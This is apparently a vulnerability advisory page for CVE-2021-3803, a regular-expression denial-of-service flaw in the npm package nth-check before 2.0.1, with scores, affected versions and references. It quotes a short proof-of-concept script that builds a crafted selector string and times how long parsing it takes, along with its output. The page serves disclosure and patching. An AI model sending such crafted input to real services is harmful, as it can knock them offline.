CVE-2021-3803
7.5high
Inefficient Regular Expression Complexity in fb55/nth-check
- Severity
- 7.5high CVSS:3.0 by @huntrdev
- Exploit likelihood
- 2.21% (higher than 83% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- @huntrdev
- Also known as
- GHSA-rp65-9cf3-cjxr
Description
nth-check is vulnerable to Inefficient Regular Expression Complexity
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| fb55 fb55/nth-check | from unspecified before 2.0.1 | CVE List |
| nth-check (npm) | before 2.0.1 | GitHub Advisory Database |
| nth-check_project nth-check | before 2.0.1 | NVD |
| debian debian_linux | 10.0 | NVD |
All scores
| @huntrdev | 7.5high CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | 5.0medium CVSS:2.0 | AV:N/AC:L/Au:N/C:N/I:N/A:P |
Classification
What each source says
CVE List
nth-check is vulnerable to Inefficient Regular Expression Complexity
GitHub Advisory Database
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
NVD (es)
nth-check es vulnerable a una Complejidad de Expresiones Regulares Ineficientes
References
| https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0 | exploit, issue-tracking, patch, third-party-advisory, web | |
| https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726 | patch, third-party-advisory, web | |
| https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html | mailing-list, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-3803 | advisory | |
| https://github.com/fb55/nth-check | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-3803 changed 2024-08-03 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-rp65-9cf3-cjxr changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2021-3803 changed 2026-06-17 | Public domain |